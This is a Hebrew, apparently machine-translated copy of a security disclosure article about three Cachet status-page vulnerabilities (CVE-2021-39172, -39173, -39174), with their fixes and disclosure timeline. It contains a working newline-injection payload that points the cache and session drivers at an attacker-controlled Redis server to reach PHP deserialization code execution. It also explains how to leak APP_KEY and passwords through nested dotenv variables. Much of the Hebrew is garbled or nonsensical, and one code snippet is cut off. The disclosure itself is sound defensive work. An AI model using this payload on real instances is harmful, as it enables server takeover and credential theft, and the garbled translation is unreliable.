דפי סטטוס הם כעת שירות חיוני שמספקים כל חברות סופטואופר היום-ס-א-ס. כדי לקדם את האפוקליפסה שלהם, מתחילים במהירות המציאו דפי סטטוס כ-שירות ואלטרנטיבות עצמיות קוד פתוח שמותר לארגן הופיעו. קאשט, שגם נקרא לפעמים קאשטHQ, הוא מערכת דפי סטטוס שימשתה באופן נרחב ונכתבה ב-PHP, ויש לה מספר פיצולים קהילתיים, כגון fiveai/Cachet.
לכירבום מופעי קאשט משתלם למתקיפים, שכן הם מאחסנים סודות לשירותים שונים כגון מטמון, מסדי נתונים, serves דואר אלקטרוני, וכד'. ככה רגל זו במבנה היא מועילה להם כדי להתגלגל לתוך הרשת הפנימית של החברה המושפעת ולבצע מתקפות נוספות. במאמר זה, אני מציג את הניתוח הטכני של שלושה באגים אבטחה שצוותי, ואני גילינו בקאשט 2.4. הם יכולים לאפשר למתקיפים לכפות את השרת.
השפעה
הפעלת פרצופים אלה של הפגיעות נבדקה על השחרור הרשמי האחרון של קאשט באותו זמן (2.3.18), כמו גם על הענף הפיתוח (2.4). מתקיף שמחפש לנצל פגיעות אלה זקוק לחשבון משתמש תקף עם זכויות בסיסיות, תרחיש שניתן לנצל באופן ריאלי על ידי:
- שימוש בשפכת זכות בשל הכמות הנכבדת של חשבונות שנפלטים כל שנה.
- A compromised or malicious user.
- נוכחות פגיעת כפילות אינטרנטית באותו מגבלה.
- הפעלת CVE-2021-39165, זירת SQL מוקדמת בקאשט שתוקן בינואר 2021.
פגיעות 1: CVE-2021-39172
הפגיעה הראשונה (CVE-2021-39172) שאני מתאר היא התייבשות של שורה חדשה שמתרחשת כאשר המשתמשים מעדכנים את התצורה של מופע, כגון ההגדרות של האימייל. זה מאפשר להתקפים להזריק כיוונים חדשים ולשנות את ההתנהגות של תכונות עיקריות, המובילה לביצוע קוד שרירותי.
הסרטון הבא מראה את הניצול של הפגיעה הזו. למטרות הדגמה, מבוצעים מספר שלבים באופן ידני, אך יכולים להיות אוטומטיזציה על ידי התקפים:
מקור: Sonar YouTube
פגיעות 2: CVE-2021-39174
השנייה (CVE-2021-39174) קשורה גם היא לתכונה זו ומאפשרת להתקף להוציא סודות שמאוחסנים בקובץ התצורה, למשל סיסמת שרת ה-SMTP, מפתח ההצפנה של היישום וכד'.
פגיעות 3: CVE-2021-39173
לבסוף, הבאג האחרון (CVE-2021-39173) הוא פשוט יותר ומאפשר לעבור את תהליך ההתקנה אפילו אם המופע כבר מותאם לחלוטין. כך, התקפים יכולים לפתות את מופע Cachet לשימוש בבסיס נתונים שרירותי תחת שליטתם, ובסופו של דבר לביצוע קוד שרירותי.
פטצ'ים לשלושת פגמים אלה זמינים במהדורה 2.5.1 של המרו� fork FiveAI.
פרטים טכניים
בסעיף זה, אני מתאר את הפרטים הטכניים של כל פגם ואת הדרך בה הוסברו במהדורה האחרונה של המרוק קהילתי.
CVE-2021-39172: ביצוע קוד רחוק
הדסקבורד של Cachet חשוף למספר תצוגות תצורה (אפילו למשתמשים שאינם מנהלים) לשינוי שם המופע, הגדרות שרת הדואר, וכו'. הגדרות מתמידות ברמת היישום משמרות במסד הנתונים, וערכים אחרים ברמת המסגרת משמרים ישירות בקובץ ההגדרה של היישום. מסגרת Laravel משתמשת בקבצי dotenv להגדרה, פורמט דומה לאופן שבו תכין משתני סביבה בתסריט של שאל. התמיכה בהם מיושמת בספריית שנייהכאן.
כשמשנים את הגדרות ספק הדואר, הבקר ממשיך אובייקט של המחלקה UpdateConfigCommand
. פקודות Laravel, בהקשר של אוטובוס הפקודות, הן דרך להסיר היגיון ספציפי ליישום מהבקרים; הן מבוצעות בצורה סינכרונית על ידי קריאה לexecute()
על האובייקט. זה מה שקורה ב[1]
:
app/Http/Controllers/Dashboard/SettingsController.php
:
<?php
public function postMail()
{
$config = Binput::get('config');
execute(new UpdateConfigCommand($config)); // [1]
return cachet_redirect('dashboard.settings.mail')
->withInput(Binput::all())
->withSuccess(trans('dashboard.notifications.awesome'));
}
המטכיל המשוייך UpdateConfigCommandHandler
אחראי על ביצוע שינויים בקובץ ה-dotenv הקיים על ידי החלפת הכניסות הקיימות באלה חדשות.
UpdateConfigCommandHandler
יכול להיפעל על ידי קוד בשני מיקומים שונים:
SetupController@postStep3
: השלב האחרון בתהליך ההתקנה. ברגע שהמופע מותקן, מסלול הקוד זה לא יכול להיגשם שוב;SettingsController@postMail
: בעת עדכון הכניסות dotenv הקשורות לשרתי דואר אלקטרוני.
הוא יערוך תחילה בדיקה מלאה על הקובץ התצורתי כדי למלא את סביבת התהליך ([1]
), לזהות אם ההנחיה לעדכון כבר מוגדרת ([2]
), ולהחליף את הכניסה בערכה החדש ([3]
):
app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php
:
<?php
class UpdateConfigCommandHandler
{
// [...]
public function handle(UpdateConfigCommand $command)
{
foreach ($command->values as $setting => $value) {
$this->writeEnv($setting, $value);
}
}
// [...]
protected function writeEnv($key, $value)
{
$dir = app()->environmentPath();
$file = app()->environmentFile();
$path = "{$dir}/{$file}";
try {
(new Dotenv($dir, $file))->load(); // [1]
$envKey = strtoupper($key);
$envValue = env($envKey) ?: 'null'; // [2]
file_put_contents($path, str_replace( // [3]
"{$envKey}={$envValue}",
"{$envKey}={$value}",
file_get_contents($path)
));
} catch (InvalidPathException $e) {
throw $e;
}
}
}
אין בידוק על הנתונים הנכנסים: כל עוד הכניסה התצורתית כבר קיימת, היא תוחלף בערך שמגיע מהפרמטר. אם התוקף מספק ערך המכיל שורות חדשות, זה יוצר כניסות חדשות בקובץ dotenv ועשוי לשנות פונקציונליות ברמת המסד נתונים.
הערה: רק הגדרת המשתנה הראשונה בקובץ dotenv תשמש; כל האחרות יתעלמו.
בפרויקטים של לרבון, זהו מספיק כדי לקבל ביצוע קוד שרירותי. הקובץ התצורתי הראשוני dotenv כנראה יראה כך ברוב המופעים:
.env
:
APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null
מתקיפים יכולים להחליף את המפתח CACHE_DRIVER
ולרשום שרת Redis שנמצא בשליטתם כמרכז מזכרות חדש:
file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis
לאחר שליחת בקשה המגדירה את CACHE_DRIVER
לערך זה, קובץ dotenv יראה כך:
.env
:
APP_ENV=production
APP_DEBUG=false
APP_URL=http://cachet.internal
APP_TIMEZONE=UTC
// [...]
CACHE_DRIVER=file
REDIS_HOST=some.remote.server
REDIS_DATABASE=0
REDIS_PORT=6379
SESSION_DRIVER=redis
SESSION_DRIVER=file
QUEUE_DRIVER=null
// [...]
מכיוון שהמזכרות של Laravel מגולשות באמצעות פורמט מקורי של PHP, הן מופרדות באמצעות הפונקציה unserialize()
. זו תוצאה ידועה שניתן לנצל לביצוע קוד שרירותי באמצעות רצף של עצמים מיוחדים, רעיון המכונה "שרשראות קופצות". הכלי PHPGGC יכול לייצר שרשראות כאלה עבור פרויקטים של Laravel.
ישנן דרכים נוספות לנצל ביצוע פקודה מהזרימה של שורה חדשה בקובץ dotenv, אך לא רוצשנו להמשיך במחקר נוסף בכיוון זה. הצוות שלי ואני סקרנים לדעת אם אתה מודע לשיטות אחרות!
CVE-2021-39174: דליפת נתוני קביעה
כפי שתיארתי בקטע הקודם, אחד יכול לקבל שליטה ישירה על קריאה וכתיבה של ערכים בקובץ dotenv. כתיבה לקובץ זה בסופו של דבר מובילה לביצוע קוד שרירותי, אך האם ניתן לנצל גם את העובדה שערכי הקובץ מוצגים בממשק?
תיעוד ה-vlucas/phpdotenv
מתאר שהוא תומך ב-הקצאת משתנים מקופלים: כאשר אתה מגדיר משתנה, אפשר לקרוא לאחד שהוגדר קודם בתחביר ${NAME}
.
תכונה זו היא נוחה: על ידי הפניה למשתנה אחר ברשומה של dotenv קובץ התצורה והצגת רשומה זו בממשק, זה מגלה את ערך המשתנה של האחר.
כבר מתועד במידה רבה שהזריקה APP_KEY
גורמת לביצוע קוד אם נהג הסשן מוגדר על קודקוד, וגם פרימיטיב זה יכול לשמש כדי להזין DB_PASSWORD
ו-MAIL_PASSWORD
לביצוע פנקס נוסף.
CVE-2021-39173: התקנה מחדש
הדף לא ניתן לגישה אם המופע כבר מותקן, כפי שמיושם בבקר. SetupAlreadyCompleted
:
app/Http/Middleware/SetupAlreadyCompleted.php
:
settings->get('app_name')) {
return cachet_redirect('dashboard');
}
} catch (ReadException $e) {
// לא התקנה אז!
}
return $next($request);
}
}
הבדיקה מבוססת רק על הערך של ההגדרה: אם לא מוגדר או ריק, הבקר יחשוב שהמופע מותקן.
במקרה שאתה תוהה מה עוד יכול להעריך כשקר, הנה עלילת מבוא מהירה על מערכת הטיפוסים של PHP במהלך ההשוואות עד PHP 8. השוואה יכולה להתבצע באמצעות בדיקת שוויון (==) או בדיקת זהות (===). בדיקות שוויון מעידות על כך שאין חשובות סוג המשתנים, ומילים יכולות להיות מועברות למספרים מראש. ההתנהגות הזו קרויה "משמרת סוגים" ונלחמה בפגיעות מספר מציאותיות שונות (CVE-2017-1001000, CVE-2019-10231). במקרה של ההשוואה לעיל, כל ערך השווה למחרוזת ריקה או "0" יעריך false
ויתן גישה לדפי ההתקנה.
הערך של app_name
אינו מיושר במהלך עדכון ההגדרות בSettingsController@postSettings
, ב[1]
:
app/Http/Controllers/Dashboard/SettingsController.php
:
<?php
class SettingsController extends Controller
{
// [...]
public function postSettings()
{
$setting = app(Repository::class);
// [...]
$parameters = Binput::all();
// [...]
$excludedParams = [
'_token',
'app_banner',
'remove_banner',
'header',
'footer',
'stylesheet',
];
try {
foreach (Binput::except($excludedParams) as $settingName =>
$settingValue) {
if ($settingName === 'app_analytics_pi_url') {
$settingValue = rtrim($settingValue, '/');
}
$setting->set($settingName, $settingValue); // <-- [1]
// [...]
לכן, משתמש מאומת יכול לעדכן אותו לערך המעריך שקר ולאחר מכן לגשת/להתקין שוב כדי להתקין מופע חדש עם חשבון מנהל חדש (העלאת רמת הזכות) או למצוף את המצאה הראשונה שלנו ולקבל ביצוע קוד (זכור, UpdateConfigCommandHandler
יכול להשתמש בנתיב זה).
תיקון
פגיעות ההשמה של שורה חדשה (CVE-2021-39172) נטפלה על ידי שיפור ההגדרה של הערכים הנכנסים בUpdateConfigCommandHandler
, דוחה כל שינוי המכיל תווי שורה חדשה.
הבאג דיפולציה התצורה (CVE-2021-39174) היה מורכב יותר בפטצתו, שכן לא ניתן היה לייבא את הגרסה האחרונה של ספריית dotenv בגלל התלויות הקיימות. במקום זאת, העברנו את הקוד הרלוונטי כדי לאפשר למעקב הפקודה לזהות אם ערך מכיל משתנה מקונן.
לבסוף, אין אפשרות לאכפתיות התקנה מחדש של מופעים קיימים (CVE-2021-39173) הו�'פ עקב בדיקות משופרות בממדל המשפיע.
לוח זמנים
DATE | ACTION |
2021-03-26 | Issues reported by email to the official security disclosure address of the upstream project. |
2021-06-25 | We send the security issues and patches to the community-supported fork (fiveai/Cachet). |
2021-08-27 | Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174. |
סיכום
במאמר זה, ניתחתי שלושה פגמים ב-Cachet והדגמתי את היכולת להשתלט על מופעים עם הרשאות משתמש בסיסיות באמצעות קבצי הגדרת Laravel. תיארתי גם את התיקונים שיושםו על ידי השומרים על הפרויקט ואיך הם מונעים את ההתקפות שהצגתי.
לבסוף, אני והצוות שלי רוצים להודות לשומרים על הפיצול של FiveAI של Cachet על הכרה ביוזמתנו ותיקון הפגמים האלה בזמן ובאופן מקצועי.
Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection